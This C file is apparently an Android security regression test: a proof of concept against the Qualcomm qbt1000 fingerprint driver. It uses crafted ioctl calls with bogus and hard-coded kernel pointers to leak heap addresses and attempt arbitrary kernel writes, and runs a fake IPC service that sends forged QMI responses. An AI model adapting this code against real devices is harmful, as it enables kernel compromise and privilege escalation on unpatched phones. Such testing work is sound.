• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 /**
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <errno.h>
18 #include <fcntl.h>
19 #include <pthread.h>
20 #include <stdbool.h>
21 #include <stdio.h>
22 #include <stdlib.h>
23 #include <string.h>
24 #include <sys/ioctl.h>
25 #include <sys/socket.h>
26 #include <sys/stat.h>
27 #include <sys/types.h>
28 #include <sys/types.h>
29 #include <unistd.h>
30 
31 static const char *dev = "/dev/qbt1000";
32 
33 #define QBT1000_SNS_SERVICE_ID 0x138
34 #define QBT1000_SNS_SERVICE_VER_ID 1
35 #define QBT1000_SNS_INSTANCE_INST_ID 0
36 
37 #define SNS_QFP_OPEN_RESP_V01 0x0020
38 
39 #define QMI_REQUEST_CONTROL_FLAG 0x00
40 #define QMI_RESPONSE_CONTROL_FLAG 0x02
41 #define QMI_INDICATION_CONTROL_FLAG 0x04
42 #define QMI_HEADER_SIZE 7
43 
44 #define OPTIONAL_TLV_TYPE_START 0x10
45 
46 enum elem_type {
47   QMI_OPT_FLAG = 1,
48   QMI_DATA_LEN,
49   QMI_UNSIGNED_1_BYTE,
50   QMI_UNSIGNED_2_BYTE,
51   QMI_UNSIGNED_4_BYTE,
52   QMI_UNSIGNED_8_BYTE,
53   QMI_SIGNED_2_BYTE_ENUM,
54   QMI_SIGNED_4_BYTE_ENUM,
55   QMI_STRUCT,
56   QMI_STRING,
57   QMI_EOTI,
58 };
59 
60 volatile int cont = 1;
61 
62 struct qmi_header {
63   unsigned char cntl_flag;
64   uint16_t txn_id;
65   uint16_t msg_id;
66   uint16_t msg_len;
67 } __attribute__((__packed__));
68 
69 struct qseecom_handle {
70   void *dev;
71   unsigned char *sbuf;
72   uint32_t sbuf_len;
73 };
74 
75 enum qbt1000_commands {
76   QBT1000_LOAD_APP = 100,
77   QBT1000_UNLOAD_APP = 101,
78   QBT1000_SEND_TZCMD = 102
79 };
80 
81 struct qbt1000_app {
82   struct qseecom_handle **app_handle;
83   char name[32];
84   uint32_t size;
85   uint8_t high_band_width;
86 };
87 
88 struct qbt1000_send_tz_cmd {
89   struct qseecom_handle *app_handle;
90   uint8_t *req_buf;
91   uint32_t req_buf_len;
92   uint8_t *rsp_buf;
93   uint32_t rsp_buf_len;
94 };
95 
96 struct msm_ipc_port_addr {
97   uint32_t node_id;
98   uint32_t port_id;
99 };
100 
101 struct msm_ipc_port_name {
102   uint32_t service;
103   uint32_t instance;
104 };
105 
106 struct msm_ipc_addr {
107   unsigned char addrtype;
108   union {
109     struct msm_ipc_port_addr port_addr;
110     struct msm_ipc_port_name port_name;
111   } addr;
112 };
113 
114 #define AF_MSM_IPC 27
115 
116 #define PF_MSM_IPCAF_MSM_IPC
117 
118 #define MSM_IPC_ADDR_NAME 1
119 #define MSM_IPC_ADDR_ID 2
120 
121 struct sockaddr_msm_ipc {
122   unsigned short family;
123   struct msm_ipc_addr address;
124   unsigned char reserved;
125 };
126 
127 struct qbt1000_app app = {0};
128 
get_fd(const char * dev_node)129 static int get_fd(const char *dev_node) {
130   int fd;
131   fd = open(dev_node, O_RDWR);
132   if (fd < 0) {
133     cont = 0;
134     exit(EXIT_FAILURE);
135   }
136 
137   return fd;
138 }
139 
leak_heap_ptr(int fd)140 static void leak_heap_ptr(int fd) {
141   void *addr = NULL;
142   app.app_handle = (void *)&addr;
143   app.size = 32;
144   ioctl(fd, QBT1000_LOAD_APP, &app);
145 }
146 
arb_kernel_write_load_app(int fd)147 static void arb_kernel_write_load_app(int fd) {
148   struct qbt1000_app app = {0};
149 
150   app.app_handle = (void *)0xABADACCE55013337;
151   ioctl(fd, QBT1000_LOAD_APP, &app);
152 }
153 
arb_kernel_write_send_tzcmd(int fd)154 static void arb_kernel_write_send_tzcmd(int fd) {
155   struct qseecom_handle hdl = {0};
156   struct qbt1000_send_tz_cmd cmd = {0};
157   int x = 0;
158 
159   hdl.sbuf = (void *)0xffffffc0017b1b84;
160   cmd.app_handle = &hdl;
161   cmd.req_buf = &x;
162   cmd.rsp_buf = NULL;
163   cmd.req_buf_len = cmd.rsp_buf_len = 4;
164 
165   ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
166 }
167 
print_msg(char * msg)168 static void print_msg(char *msg) {
169   int i;
170   for (i = 0; i < 4096; i++) printf("%hx ", msg[i]);
171   printf("\n");
172 }
173 
recv_msgs(int fd)174 static void recv_msgs(int fd) {
175   struct msghdr msg = {0};
176   struct iovec io = {0};
177   struct sockaddr_msm_ipc addr = {0};
178   struct msm_ipc_addr address = {0};
179   uint8_t *ptr;
180   struct qmi_header *hdr;
181   int count = 1;
182 
183   io.iov_base = malloc(4096);
184   memset(io.iov_base, 0, 4096);
185   io.iov_len = 4096;
186 
187   msg.msg_iovlen = 1;
188   msg.msg_iov = &io;
189   msg.msg_name = &addr;
190   msg.msg_namelen = sizeof(addr);
191 
192   while (cont) {
193     recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
194     memset(io.iov_base, 0, 128);
195     hdr = io.iov_base;
196 
197     hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
198     hdr->txn_id = count++;
199     hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
200     hdr->msg_len = 3;
201 
202     ptr = io.iov_base + sizeof(*hdr);
203 
204     *ptr = OPTIONAL_TLV_TYPE_START;
205     ptr++;
206     *ptr = 0;
207     ptr++;
208     *ptr = 0;
209     sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
210   }
211 }
212 
213 #define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
setup_ipc_server(void)214 static void setup_ipc_server(void) {
215   int fd;
216   struct sockaddr_msm_ipc addr = {0};
217   fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
218 
219   if (fd < 0) {
220     printf("Couldn't open socket %s\n", strerror(errno));
221     exit(EXIT_FAILURE);
222   }
223 
224   addr.family = AF_MSM_IPC;
225   addr.address.addrtype = MSM_IPC_ADDR_NAME;
226   addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
227   addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
228       QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
229 
230   bind(fd, (struct sockaddr *)&addr, sizeof(addr));
231   recv_msgs(fd);
232 }
233 
leak_ptr(void * ignore)234 static void *leak_ptr(void *ignore) {
235   void *save;
236   while (cont) {
237     if (app.app_handle != NULL) {
238       save = *app.app_handle;
239       if (save != NULL) {
240         break;
241       }
242     }
243   }
244   return (void *)NULL;
245 }
246 
do_ipc_crap(void * ignore)247 static void *do_ipc_crap(void *ignore) {
248   setup_ipc_server();
249   return (void *)NULL;
250 }
251 
main(void)252 int main(void) {
253   int fd;
254 
255   pthread_t race_car;
256   pthread_t race_car1;
257   pthread_create(&race_car, NULL, do_ipc_crap, NULL);
258   usleep(50000);
259 
260   fd = get_fd(dev);
261 
262   for (;;) {
263     int err = ioctl(fd, 0, (unsigned long)-4095);
264 
265     usleep(5000);
266   }
267 }
268